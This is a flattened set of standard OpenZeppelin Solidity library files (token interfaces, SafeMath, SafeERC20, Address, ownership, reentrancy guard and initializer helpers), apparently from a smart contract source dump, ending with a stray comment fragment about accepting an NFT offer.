pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } }
@notice Method for accepting the offer @param _nftAddress NFT contract address @param _tokenId TokenId @param _creator Offer creator address
